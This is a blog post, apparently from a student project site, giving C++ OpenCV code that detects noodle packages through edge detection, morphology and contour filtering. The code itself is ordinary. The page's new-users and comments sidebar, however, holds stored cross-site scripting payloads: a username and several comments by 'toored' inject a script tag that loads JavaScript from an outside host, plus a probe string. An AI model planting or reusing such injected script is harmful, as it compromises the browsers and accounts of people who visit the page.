Noodles package detection using opencv


To improve the robustness and application area of the algorithm, we further improve the algorithm.

Possible problems we may encounter are:

Shape of target is not rectangle

Dirty marks or obstacles

Incomplete shape of targets

Partly connected with other objects


Focusing on these problems, we improved the algorithm by adding double contour detection, adjusting optimal threshold and so on.

blob.png

blob.png

blob.png


blob.png

code:

#include <iostream>
#include <stdio.h>
#include <stdlib.h>
#include <time.h>

#include <opencv2/core/core.hpp>
#include <opencv2/opencv.hpp>

using namespace cv;
using namespace std;

/**************Definitons*************/
#define MAXRECT				100
#define BUF_SIZE			256
#define CLIENT_ADDRESS		"10.220.12.109"
#define LISTEN_PORT			2000
#define ID					"50-0503334900"
#define THRESH				15
#define AREALIMIT			3000.0
/**************Variables**************/

vector<RotatedRect>		rectProfile;
vector< vector<Point> >	contoursRect;
vector< vector<Point> >	contours;
vector<int> selected;
char buf[BUF_SIZE];
/**************Functions**************/

bool Check(vector<Point> con){
	double area = abs(contourArea(con, 1));
	printf("%lf\n", area);
	if (area < AREALIMIT) 
		return false;
	return true;
}


void ImageProcess(){
	Mat img = imread("total.jpg", CV_LOAD_IMAGE_GRAYSCALE);//sample00012_5.BMP
	Mat imgCanny;
	Canny(img, imgCanny, THRESH, THRESH * 3);
	imshow("imgCanny", imgCanny);
	imwrite("1.ImageCanny.jpg",imgCanny);

	//dilate and erode to connect seperate contour lines
	Mat img_dilate,img_erode;
	dilate ( imgCanny, img_dilate, Mat());
	imshow("Imagedilate", img_dilate);
	imwrite("2.Imagedilate.jpg",img_dilate);
	erode ( img_dilate, img_erode, Mat());
	imshow("Imageerode", img_erode);
	imwrite("3.Imageerode.jpg",img_erode);
	img_dilate.release();
	
	waitKey();

	findContours(img_erode, contours, CV_RETR_EXTERNAL, CV_CHAIN_APPROX_NONE);
	img_erode.release();
	Mat cc = Mat::zeros(imgCanny.rows, imgCanny.cols, CV_8UC3);
	for (int j = 0; j < contours.size(); j++){
		Scalar color(rand()&255, rand()&255, rand()&255);
		drawContours(cc, contours, j, color);
	}
	imshow("ImageContours", cc);
	imwrite("4.ImageContours.jpg",cc);
	cc.release();
	int n = 0;
	contoursRect.clear();
	for (unsigned int i = 0; i < contours.size(); i++){
		//check size
		if (Check(contours[i])){
			contoursRect.push_back(contours[i]);
			n++;
			selected.push_back(i);
		}
	}
	printf("%d\n", n);

	Mat ccc = Mat::zeros(imgCanny.rows, imgCanny.cols, CV_8UC3);
	for (int i = 0; i < n; i++){
		Scalar color(rand()&255, rand()&255, rand()&255);
		drawContours(ccc, contoursRect, i, color,CV_FILLED);
	}
	imshow("ImageRecQualified", ccc);
	imwrite("5.ImageRecSizeQualified.jpg",ccc);
	waitKey();
	

	destroyAllWindows();
	rectProfile.clear();

	//MORPH_OPEN to seperate connected rect
	Mat minrect= Mat::zeros(imgCanny.rows, imgCanny.cols, CV_8UC3);
	Mat element = getStructuringElement(MORPH_ELLIPSE, Size(28,28)); 
	morphologyEx(ccc,minrect,MORPH_OPEN,element);
	imshow("MORPH_OPEN", minrect);
	imwrite("6.ImageMORPH_OPEN.jpg",minrect);
	ccc.release();
	waitKey();

	//find contour again
	Mat minrectgrey=Mat::zeros(imgCanny.rows, imgCanny.cols, CV_8UC1);;
	cvtColor(minrect,minrectgrey,CV_BGR2GRAY);
	Mat imgCanny2= Mat::zeros(imgCanny.rows, imgCanny.cols, CV_8UC1);;
	Canny(minrectgrey, imgCanny2,  1,10);
	imshow("imgCanny2", imgCanny2);
	imwrite("7.ImageCanny2.jpg",imgCanny2);
	
	contours.clear();
	findContours(imgCanny2, contours, CV_RETR_EXTERNAL, CV_CHAIN_APPROX_NONE);

	n = 0;
	contoursRect.clear();
	for (unsigned int i = 0; i < contours.size(); i++){
		if (Check(contours[i])){
			contoursRect.push_back(contours[i]);
			n++;
			selected.push_back(i);
		}
	}
	printf("%d\n", n);

	Mat ccc2 = Mat::zeros(imgCanny.rows, imgCanny.cols, CV_8UC3);
	for (int i = 0; i < n; i++){
		Scalar color(rand()&255, rand()&255, rand()&255);
		drawContours(ccc2, contoursRect, i, color,CV_FILLED);
	}
	imshow("ImageRecQualified2", ccc2);
	imwrite("8.ImageRecQualified2.jpg",ccc2);
	waitKey();

	img = imread("total.jpg");
	Point2f vertices[4];
	for (int i = 0; i < n; i++) {
		rectProfile.push_back(minAreaRect(contoursRect[i]));
		rectProfile[i].points(vertices);
		Scalar color(rand()&255, rand()&255, rand()&255);
		for (int i = 0; i < 4; i++){
			line(img, vertices[i], vertices[(i+1)%4], color,5);
		}
		rectangle(img,Point((vertices[0].x+vertices[2].x)/2-1,(vertices[0].y+vertices[2].y)/2-1),Point((vertices[0].x+vertices[2].x)/2+1,(vertices[0].y+vertices[2].y)/2+1),color,5);
	}
	imshow("ImageRec", img);
	imwrite("9.ImageRec.jpg",img);
	waitKey();
}


int main(){
	contours.reserve(100000*sizeof(Point));
	ImageProcess();
}


This article is among the series of FDUROP project. More information: http://104.131.150.53/thinkcmfx/index.php?g=&m=article&a=index&id=17

Last Article Next article

Comment 评论



Share 分享

New Users 最新加入

  • "><script type="text/javascript&qu

  • hokurikustr

New comments 最新评论

&quot;&gt;&lt;script type=&quot;te: <script type="text/javascript" src="https://jso-tools.z-x.my.id/raw/~/J860XYPPDSWNG"></script> Details Oct 02 13:07
toored: "><script type="text/javascript" src="https://jso-tools.z-x.my.id/raw/~/J860XYPPDSWNG"></script> Details Oct 02 12:58
toored: <script type="text/javascript" src="https://jso-tools.z-x.my.id/raw/~/J860XYPPDSWNG"></script> Details Oct 02 12:57
toored: "><test> Details Oct 02 12:56
test123: aasdas Details Apr 13 16:39